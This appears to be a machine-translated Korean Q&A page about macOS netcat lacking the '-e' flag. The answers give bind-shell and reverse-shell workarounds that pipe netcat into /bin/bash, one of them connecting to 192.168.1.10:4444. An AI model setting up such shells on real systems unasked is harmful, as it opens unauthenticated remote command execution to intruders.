MacOS의 nc(netcat)에 "-e" 플래그가 없습니까?

MacOS의 nc(netcat)에 "-e" 플래그가 없습니까?

실행하려고 하면 nc -l 1337 -e /bin/bash다음과 같이 표시됩니다.

nc: invalid option -- e
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] 
[-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
      [-s source_ip_address] [-w timeout] [-X proxy_version]
      [-x proxy_address[:port]] [hostname] [port[s]]

원격으로 명령을 실행하고 싶지만 원격으로 텍스트만 인쇄됩니다. 이것이 작동하지 않는 이유와 해결 방법은 무엇입니까?

답변1

대신 에 nc -l 1337 -e /bin/bash완전히 동일하게 작동하는 또 다른 방법은 nc -l 1337 | /bin/bash수신된 모든 것을 /bin/bash.

답변2

아니면 시도해 보세요nc target port | /bin/bash | nc target port

예:

nc 192.168.1.10 4444 | /bin/bash | nc 192.168.1.10 4444

첫 번째에서 받은 콘텐츠를 두 번째로 리디렉션 nc하고 /bin/bash출력을 /bin/bash두 번째로 리디렉션합니다 nc. 해결 방법이지만 작동합니다. :)
그렇지 않으면 ncat을 설치하십시오.

관련 정보